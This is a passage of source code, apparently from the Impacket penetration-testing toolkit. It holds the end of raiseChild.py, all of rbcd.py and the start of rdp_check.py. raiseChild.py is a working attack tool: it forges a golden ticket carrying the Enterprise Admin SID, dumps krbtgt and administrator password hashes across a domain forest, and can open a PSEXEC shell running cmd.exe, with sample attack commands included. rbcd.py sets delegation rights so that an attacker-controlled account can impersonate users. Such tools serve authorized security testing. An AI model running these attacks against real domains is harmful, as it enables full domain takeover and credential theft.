making it gold')\n                validationInfo.dump()\n                print ('\\n')\n        else:\n            raise Exception('PAC_LOGON_INFO not found! Aborting')\n\n        # Let's now clear the checksums\n        if PAC_SERVER_CHECKSUM in pacInfos:\n            serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])\n            if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:\n                serverChecksum['Signature'] = b'\\x00'*12\n            else:\n                serverChecksum['Signature'] = b'\\x00'*16\n        else:\n            raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')\n\n        if PAC_PRIVSVR_CHECKSUM in pacInfos:\n            privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])\n            privSvrChecksum['Signature'] = b'\\x00'*12\n            if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:\n                privSvrChecksum['Signature'] = b'\\x00'*12\n            else:\n                privSvrChecksum['Signature'] = b'\\x00'*16\n        else:\n            raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')\n\n        if PAC_CLIENT_INFO_TYPE in pacInfos:\n            pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]\n            pacClientInfoAlignment = b'\\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))\n        else:\n            raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')\n\n\n        # We changed everything we needed to make us special. Now let's repack and calculate checksums\n        serverChecksumBlob = serverChecksum.getData()\n        serverChecksumAlignment = b'\\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))\n\n        privSvrChecksumBlob = privSvrChecksum.getData()\n        privSvrChecksumAlignment = b'\\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))\n\n        # The offset are set from the beginning of the PAC_TYPE\n        # [MS-PAC] 2.4 PAC_INFO_BUFFER\n        offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4\n\n        # Let's build the PAC_INFO_BUFFER for each one of the elements\n        validationInfoIB = PAC_INFO_BUFFER()\n        validationInfoIB['ulType'] = PAC_LOGON_INFO\n        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)\n        validationInfoIB['Offset'] = offsetData\n        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8\n\n        pacClientInfoIB = PAC_INFO_BUFFER()\n        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE\n        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)\n        pacClientInfoIB['Offset'] = offsetData\n        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8\n\n        serverChecksumIB = PAC_INFO_BUFFER()\n        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM\n        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)\n        serverChecksumIB['Offset'] = offsetData\n        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8\n\n        privSvrChecksumIB = PAC_INFO_BUFFER()\n        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM\n        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)\n        privSvrChecksumIB['Offset'] = offsetData\n        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8\n\n        # Building the PAC_TYPE as specified in [MS-PAC]\n        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \\\n            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \\\n            pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment\n        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment\n\n        pacType = PACTYPE()\n        pacType['cBuffers'] = 4\n        pacType['Version'] = 0\n        pacType['Buffers'] = buffers + buffersTail\n\n        blobToChecksum = pacType.getData()\n\n        # If you want to do MD5, ucomment this\n        checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]\n        if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:\n            keyServer = Key(Enctype.AES256, unhexlify(aesKey))\n        elif serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value:\n            keyServer = Key(Enctype.RC4, unhexlify(ntHash))\n        else:\n            raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'] )\n\n        checkSumFunctionPriv= _checksum_table[privSvrChecksum['SignatureType']]\n        if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:\n            keyPriv = Key(Enctype.AES256, unhexlify(aesKey))\n        elif privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value:\n            keyPriv = Key(Enctype.RC4, unhexlify(ntHash))\n        else:\n            raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'] )\n\n        serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, 17, blobToChecksum)\n        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, 17, serverChecksum['Signature'])\n\n        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment\n        pacType['Buffers'] = buffers + buffersTail\n\n        authorizationData = AuthorizationData()\n        authorizationData[0] = noValue\n        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)\n        authorizationData[0]['ad-data'] = pacType.getData()\n        authorizationData = encoder.encode(authorizationData)\n\n        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData\n\n        encodedEncTicketPart = encoder.encode(encTicketPart)\n\n        cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]\n        if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n            key = Key(cipher.enctype, unhexlify(aesKey))\n        elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:\n            key = Key(cipher.enctype, unhexlify(ntHash))\n        else:\n            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)\n\n        # Key Usage 2\n        # AS-REP Ticket and TGS-REP Ticket (includes TGS session\n        # key or application session key), encrypted with the\n        # service key (Section 5.3)\n        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)\n\n        asRep['ticket']['enc-part']['cipher'] = cipherText\n\n        return encoder.encode(asRep), originalCipher, sessionKey\n\n    def raiseUp(self, childName, childCreds, parentName):\n        logging.info('Raising %s to %s' % (childName, parentName))\n\n        # 3) Get the parents's Enterprise Admin SID (via [MS-LSAT])\n        entepriseSid, targetName = self.getParentSidAndTargetName(parentName, childCreds, self.__targetRID)\n        logging.info('%s Enterprise Admin SID is: %s-519' % (parentName,entepriseSid))\n\n        # 4) Get the child domain's krbtgt credentials (via [MS-DRSR])\n        targetUser = 'krbtgt'\n        logging.info('Getting credentials for %s' % childName)\n        rid, credentials = self.getCredentials(targetUser, childName, childCreds)\n        print('%s/%s:%s:%s:%s:::' % (\n        childName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))\n        print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (childName, targetUser, credentials['aesKey'].decode('utf-8')))\n\n        # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array\n        userName = Principal(childCreds['username'], type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        TGT = {}\n        TGS = {}\n        while True:\n            try:\n                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, childCreds['password'],\n                                                                        childCreds['domain'], childCreds['lmhash'],\n                                                                        childCreds['nthash'], None, self.__kdcHost)\n            except KerberosError as e:\n                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                    # We might face this if the target does not support AES (most probably\n                    # Windows XP). So, if that's the case we'll force using RC4 by converting\n                    # the password to lm/nt hashes and hope for the best. If that's already\n                    # done, byebye.\n                    if childCreds['lmhash'] == '' and childCreds['nthash'] == '':\n                        from impacket.ntlm import compute_lmhash, compute_nthash\n                        childCreds['lmhash'] = compute_lmhash(childCreds['password'])\n                        childCreds['nthash'] = compute_nthash(childCreds['password'])\n                        continue\n                    else:\n                        raise\n                else:\n                    raise\n\n            # We have a TGT, let's make it golden\n            goldenTicket, cipher, sessionKey = self.makeGolden(tgt, cipher, sessionKey, credentials['nthash'],\n                                                               credentials['aesKey'], entepriseSid + '-519')\n            TGT['KDC_REP'] = goldenTicket\n            TGT['cipher'] = cipher\n            TGT['oldSessionKey'] = oldSessionKey\n            TGT['sessionKey'] = sessionKey\n\n            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs\n            if self.__target is None:\n                serverName = Principal('cifs/%s' % self.getMachineName(gethostbyname(parentName)),\n                                       type=constants.PrincipalNameType.NT_SRV_INST.value)\n            else:\n                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            try:\n                logging.debug('Getting TGS for SPN %s' % serverName)\n                tgsCIFS, cipherCIFS, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName,\n                                                                                        childCreds['domain'], None,\n                                                                                        goldenTicket, cipher,\n                                                                                        sessionKey)\n                TGS['KDC_REP'] = tgsCIFS\n                TGS['cipher'] = cipherCIFS\n                TGS['oldSessionKey'] = oldSessionKeyCIFS\n                TGS['sessionKey'] = sessionKeyCIFS\n                break\n            except KerberosError as e:\n                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                    # We might face this if the target does not support AES (most probably\n                    # Windows XP). So, if that's the case we'll force using RC4 by converting\n                    # the password to lm/nt hashes and hope for the best. If that's already\n                    # done, byebye.\n                    if childCreds['lmhash'] == '' and childCreds['nthash'] == '':\n                        from impacket.ntlm import compute_lmhash, compute_nthash\n                        childCreds['lmhash'] = compute_lmhash(childCreds['password'])\n                        childCreds['nthash'] = compute_nthash(childCreds['password'])\n                    else:\n                        raise\n                else:\n                    raise\n\n        # 6) Use the generated ticket to log into the parent and get the krbtgt/admin info\n        # 6) Use the generated ticket to log into the parent and get the target-user info\n        logging.info('Getting credentials for %s' % parentName)\n        targetUser = 'krbtgt'\n        childCreds['TGT'] = TGT\n        rid, credentials = self.getCredentials(targetUser, parentName, childCreds)\n        print('%s/%s:%s:%s:%s:::' % (\n        parentName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))\n        print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetUser, credentials['aesKey'].decode(\"utf-8\")))\n\n        ################ Get TargetUser credentials (Administrator credentials by default)\n        logging.info('Target User account name is %s' % targetName)\n        rid, credentials = self.getCredentials(targetName, parentName, childCreds)\n        print('%s/%s:%s:%s:%s:::' % (parentName, targetName, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))\n        print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetName, credentials['aesKey'].decode('utf-8')))\n\n        targetCreds = {}\n        targetCreds['username'] = targetName\n        targetCreds['password'] = ''\n        targetCreds['domain'] = parentName\n        targetCreds['lmhash'] = credentials['lmhash']\n        targetCreds['nthash'] = credentials['nthash']\n        targetCreds['aesKey'] = credentials['aesKey']\n        targetCreds['TGT'] =  None\n        targetCreds['TGS'] =  None\n        return targetCreds, TGT, TGS\n\n    def exploit(self):\n        # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])\n        childCreds = self.__creds\n        childName, forestName = self.getChildInfo(self.__creds)\n        logging.info('Raising child domain %s' % childName)\n\n        # 2) Find out what the forest FQDN is (via [MS-NRPC])\n        logging.info('Forest FQDN is: %s' % forestName)\n\n        # Let's raise up our child!\n        targetCreds, parentTGT, parentTGS = self.raiseUp(childName, childCreds, forestName)\n\n        # 7) If file was specified, save the golden ticket in ccache format\n        if self.__writeTGT is not None:\n            logging.info('Saving golden ticket into %s' % self.__writeTGT)\n            from impacket.krb5.ccache import CCache\n            ccache = CCache()\n            ccache.fromTGT(parentTGT['KDC_REP'], parentTGT['oldSessionKey'], parentTGT['sessionKey'])\n            ccache.saveFile(self.__writeTGT)\n\n        # 8) If target was specified, a PSEXEC shell is launched\n        if self.__target is not None:\n            logging.info('Opening PSEXEC shell at %s' % self.__target)\n            from impacket.smbconnection import SMBConnection\n            s = SMBConnection('*SMBSERVER', self.__target)\n            s.kerberosLogin(targetCreds['username'], '', targetCreds['domain'], targetCreds['lmhash'],\n                            targetCreds['nthash'], useCache=False)\n\n            if self.__command != 'None':\n                executer = PSEXEC(self.__command, targetCreds['username'], targetCreds['domain'], s, None, None)\n                executer.run(self.__target)\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Privilege Escalation from a child domain up to its \"\n                                                                    \"forest\")\n\n    parser.add_argument('target', action='store', help='domain/username[:password]')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-w', action='store',metavar = \"pathname\",  help='writes the golden ticket in CCache format '\n                                                                         'into the <pathname> file')\n    #parser.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use the domain part (FQDN) specified in the target parameter')\n    parser.add_argument('-target-exec', action='store',metavar = \"target address\",  help='Target host you want to PSEXEC '\n                        'against once the main attack finished')\n    parser.add_argument('-targetRID', action='store', metavar = \"RID\", default='500', help='Target user RID you want to '\n                        'dump credentials. Administrator (500) by default.')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        print(\"\\nExamples: \")\n        print(\"\\tpython raiseChild.py childDomain.net/adminuser\\n\")\n        print(\"\\tthe password will be asked, or\\n\")\n        print(\"\\tpython raiseChild.py childDomain.net/adminuser:mypwd\\n\")\n        print(\"\\tor if you just have the hashes\\n\")\n        print(\"\\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\\n\")\n\n        print(\"\\tThis will perform the attack and then psexec against target-exec as Enterprise Admin\")\n        print(\"\\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\\n\")\n        print(\"\\tThis will perform the attack and then psexec against target-exec as User with RID 1101\")\n        print(\"\\tpython raiseChild.py -target-exec targetHost -targetRID 1101 childDomainn.net/adminuser\\n\")\n        print(\"\\tThis will save the final goldenTicket generated in the ccache target file\")\n        print(\"\\tpython raiseChild.py -w ccache childDomain.net/adminuser\\n\")\n        sys.exit(1)\n \n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    commands = 'cmd.exe'\n\n    try:\n        pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands)\n        pacifier.exploit()\n    except SessionError as e:\n        logging.critical(str(e))\n        if e.getErrorCode() == STATUS_NO_LOGON_SERVERS:\n            logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue')\n    except Exception as e:\n        logging.debug('Exception:', exc_info=True)\n        logging.critical(str(e))\n        if hasattr(e, 'error_code'):\n            if e.error_code == 0xc0000073:\n                logging.info(\"Account not found in domain. (RID:%s)\" % options.targetRID)\n"
  },
  {
    "path": "examples/rbcd.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer\n#\n# Authors:\n#   Remi Gascou (@podalirius_)\n#   Charlie Bromberg (@_nwodtuhs)\n#\n#  ToDo:\n# [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN\n\nimport argparse\nimport logging\nimport sys\nimport traceback\nimport ldap3\nimport ldapdomaindump\nfrom ldap3.protocol.formatters.formatters import format_sid\n\nfrom impacket import version\nfrom impacket.examples import logger, utils\nfrom impacket.ldap import ldaptypes\nfrom ldap3.utils.conv import escape_filter_chars\n\nfrom impacket.examples.utils import init_ldap_session, parse_identity\n\ndef create_empty_sd():\n    sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n    sd['Revision'] = b'\\x01'\n    sd['Sbz1'] = b'\\x00'\n    sd['Control'] = 32772\n    sd['OwnerSid'] = ldaptypes.LDAP_SID()\n    # BUILTIN\\Administrators\n    sd['OwnerSid'].fromCanonical('S-1-5-32-544')\n    sd['GroupSid'] = b''\n    sd['Sacl'] = b''\n    acl = ldaptypes.ACL()\n    acl['AclRevision'] = 4\n    acl['Sbz1'] = 0\n    acl['Sbz2'] = 0\n    acl.aces = []\n    sd['Dacl'] = acl\n    return sd\n\n\n# Create an ALLOW ACE with the specified sid\ndef create_allow_ace(sid):\n    nace = ldaptypes.ACE()\n    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n    nace['AceFlags'] = 0x00\n    acedata = ldaptypes.ACCESS_ALLOWED_ACE()\n    acedata['Mask'] = ldaptypes.ACCESS_MASK()\n    acedata['Mask']['Mask'] = 983551  # Full control\n    acedata['Sid'] = ldaptypes.LDAP_SID()\n    acedata['Sid'].fromCanonical(sid)\n    nace['Ace'] = acedata\n    return nace\n\n\nclass RBCD(object):\n    \"\"\"docstring for setrbcd\"\"\"\n\n    def __init__(self, ldap_server, ldap_session, delegate_to):\n        super(RBCD, self).__init__()\n        self.ldap_server = ldap_server\n        self.ldap_session = ldap_session\n        self.delegate_from = None\n        self.delegate_to = delegate_to\n        self.SID_delegate_from = None\n        self.DN_delegate_to = None\n        logging.debug('Initializing domainDumper()')\n        cnf = ldapdomaindump.domainDumpConfig()\n        cnf.basepath = None\n        self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)\n\n    def read(self):\n        # Get target computer DN\n        result = self.get_user_info(self.delegate_to)\n        if not result:\n            logging.error('Account to modify does not exist! (forgot \"$\" for a computer account? wrong domain?)')\n            return\n        self.DN_delegate_to = result[0]\n\n        # Get list of allowed to act\n        self.get_allowed_to_act()\n\n        return\n\n    def write(self, delegate_from):\n        self.delegate_from = delegate_from\n\n        # Get escalate user sid\n        result = self.get_user_info(self.delegate_from)\n        if not result:\n            logging.error('Account to escalate does not exist! (forgot \"$\" for a computer account? wrong domain?)')\n            return\n        self.SID_delegate_from = str(result[1])\n\n        # Get target computer DN\n        result = self.get_user_info(self.delegate_to)\n        if not result:\n            logging.error('Account to modify does not exist! (forgot \"$\" for a computer account? wrong domain?)')\n            return\n        self.DN_delegate_to = result[0]\n\n        # Get list of allowed to act and build security descriptor including previous data\n        sd, targetuser = self.get_allowed_to_act()\n\n        # writing only if SID not already in list\n        if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:\n            sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))\n            self.ldap_session.modify(targetuser['dn'],\n                                     {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,\n                                                                                   [sd.getData()]]})\n            if self.ldap_session.result['result'] == 0:\n                logging.info('Delegation rights modified successfully!')\n                logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)\n            else:\n                if self.ldap_session.result['result'] == 50:\n                    logging.error('Could not modify object, the server reports insufficient rights: %s',\n                                  self.ldap_session.result['message'])\n                elif self.ldap_session.result['result'] == 19:\n                    logging.error('Could not modify object, the server reports a constrained violation: %s',\n                                  self.ldap_session.result['message'])\n                else:\n                    logging.error('The server returned an error: %s', self.ldap_session.result['message'])\n        else:\n            logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)\n            logging.info('Not modifying the delegation rights.')\n        # Get list of allowed to act\n        self.get_allowed_to_act()\n        return\n\n    def remove(self, delegate_from):\n        self.delegate_from = delegate_from\n\n        # Get escalate user sid\n        result = self.get_user_info(self.delegate_from)\n        if not result:\n            logging.error('Account to escalate does not exist! (forgot \"$\" for a computer account? wrong domain?)')\n            return\n        self.SID_delegate_from = str(result[1])\n\n        # Get target computer DN\n        result = self.get_user_info(self.delegate_to)\n        if not result:\n            logging.error('Account to modify does not exist! (forgot \"$\" for a computer account? wrong domain?)')\n            return\n        self.DN_delegate_to = result[0]\n\n        # Get list of allowed to act and build security descriptor including that data\n        sd, targetuser = self.get_allowed_to_act()\n\n        # Remove the entries where SID match the given -delegate-from\n        sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]\n        self.ldap_session.modify(targetuser['dn'],\n                                 {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})\n\n        if self.ldap_session.result['result'] == 0:\n            logging.info('Delegation rights modified successfully!')\n        else:\n            if self.ldap_session.result['result'] == 50:\n                logging.error('Could not modify object, the server reports insufficient rights: %s',\n                              self.ldap_session.result['message'])\n            elif self.ldap_session.result['result'] == 19:\n                logging.error('Could not modify object, the server reports a constrained violation: %s',\n                              self.ldap_session.result['message'])\n            else:\n                logging.error('The server returned an error: %s', self.ldap_session.result['message'])\n        # Get list of allowed to act\n        self.get_allowed_to_act()\n        return\n\n    def flush(self):\n        # Get target computer DN\n        result = self.get_user_info(self.delegate_to)\n        if not result:\n            logging.error('Account to modify does not exist! (forgot \"$\" for a computer account? wrong domain?)')\n            return\n        self.DN_delegate_to = result[0]\n\n        # Get list of allowed to act\n        sd, targetuser = self.get_allowed_to_act()\n\n        self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})\n        if self.ldap_session.result['result'] == 0:\n            logging.info('Delegation rights flushed successfully!')\n        else:\n            if self.ldap_session.result['result'] == 50:\n                logging.error('Could not modify object, the server reports insufficient rights: %s',\n                              self.ldap_session.result['message'])\n            elif self.ldap_session.result['result'] == 19:\n                logging.error('Could not modify object, the server reports a constrained violation: %s',\n                              self.ldap_session.result['message'])\n            else:\n                logging.error('The server returned an error: %s', self.ldap_session.result['message'])\n        # Get list of allowed to act\n        self.get_allowed_to_act()\n        return\n\n    def get_allowed_to_act(self):\n        # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute\n        self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,\n                                 attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])\n        targetuser = None\n        for entry in self.ldap_session.response:\n            if entry['type'] != 'searchResEntry':\n                continue\n            targetuser = entry\n        if not targetuser:\n            logging.error('Could not query target user properties')\n            return\n\n        try:\n            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(\n                data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])\n            if len(sd['Dacl'].aces) > 0:\n                logging.info('Accounts allowed to act on behalf of other identity:')\n                for ace in sd['Dacl'].aces:\n                    SID = ace['Ace']['Sid'].formatCanonical()\n                    SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())\n                    if SidInfos:\n                        SamAccountName = SidInfos[1]\n                        logging.info('    %-10s   (%s)' % (SamAccountName, SID))\n            else:\n                logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')\n        except IndexError:\n            logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')\n            # Create DACL manually\n            sd = create_empty_sd()\n        return sd, targetuser\n\n    def get_user_info(self, samname):\n        self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])\n        try:\n            dn = self.ldap_session.entries[0].entry_dn\n            sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])\n            return dn, sid\n        except IndexError:\n            logging.error('User not found in LDAP: %s' % samname)\n            return False\n\n    def get_sid_info(self, sid):\n        self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])\n        try:\n            dn = self.ldap_session.entries[0].entry_dn\n            samname = self.ldap_session.entries[0]['samaccountname']\n            return dn, samname\n        except IndexError:\n            logging.error('SID not found in LDAP: %s' % sid)\n            return False\n\ndef parse_args():\n    parser = argparse.ArgumentParser(add_help=True,\n                                     description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.')\n    parser.add_argument('identity', action='store', help='domain.local/username[:password]')\n    parser.add_argument(\"-delegate-to\", type=str, required=True,\n                        help=\"Target account the DACL is to be read/edited/etc.\")\n    parser.add_argument(\"-delegate-from\", type=str, required=False,\n                        help=\"Attacker controlled account to write on the rbcd property of -delegate-to (only when using `-action write`)\")\n    parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read',\n                        help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity')\n\n    parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')\n\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\",\n                       help='Use Kerberos authentication. Grabs credentials from ccache file '\n                            '(KRB5CCNAME) based on target parameters. If valid credentials '\n                            'cannot be found, it will use the ones specified in the command '\n                            'line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                          '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '\n                            'omitted it will use the domain part (FQDN) specified in '\n                            'the identity parameter')\n    group.add_argument('-dc-host', action='store', metavar=\"hostname\", help='Hostname of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, -dc-ip will be used')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args()\n\n\ndef main():\n    print(version.BANNER)\n    args = parse_args()\n    logger.init(args.ts, args.debug)\n\n    if args.action == 'write' and args.delegate_from is None:\n        logging.critical('`-delegate-from` should be specified when using `-action write` !')\n        sys.exit(1)\n\n    domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k)\n\n    try:\n        ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.dc_host, args.aesKey, args.use_ldaps)\n        rbcd = RBCD(ldap_server, ldap_session, args.delegate_to)\n        if args.action == 'read':\n            rbcd.read()\n        elif args.action == 'write':\n            rbcd.write(args.delegate_from)\n        elif args.action == 'remove':\n            rbcd.remove(args.delegate_from)\n        elif args.action == 'flush':\n            rbcd.flush()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            traceback.print_exc()\n        logging.error(str(e))\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "examples/rdp_check.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-RDPBCGR] and [MS-CREDSSP] partial implementation\n#   just to reach CredSSP auth. This example test whether\n#   an account is valid on the target host.\n#\n# Author:\n#  Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [x] Manage to grab the server's SSL key so we can finalize the whole\n#        authentication process (check [MS-CSSP] section 3.1.5)\n#\n\nfrom struct import pack, unpack\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target, get_connected_socket\nfrom impacket.structure import Structure\nfrom impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode\n\nTDPU_CONNECTION_REQUEST  = 0xe0\nTPDU_CONNECTION_CONFIRM  = 0xd0\nTDPU_DATA                = 0xf0\nTPDU_REJECT              = 0x50\nTPDU_DATA_ACK            = 0x60\n\n# RDP_NEG_REQ constants\nTYPE_RDP_NEG_REQ = 1\nPROTOCOL_RDP     = 0\nPROTOCOL_SSL     = 1\nPROTOCOL_HYBRID  = 2\n\n# RDP_NEG_RSP constants\nTYPE_RDP_NEG_RSP = 2\nEXTENDED_CLIENT_DATA_SUPPORTED = 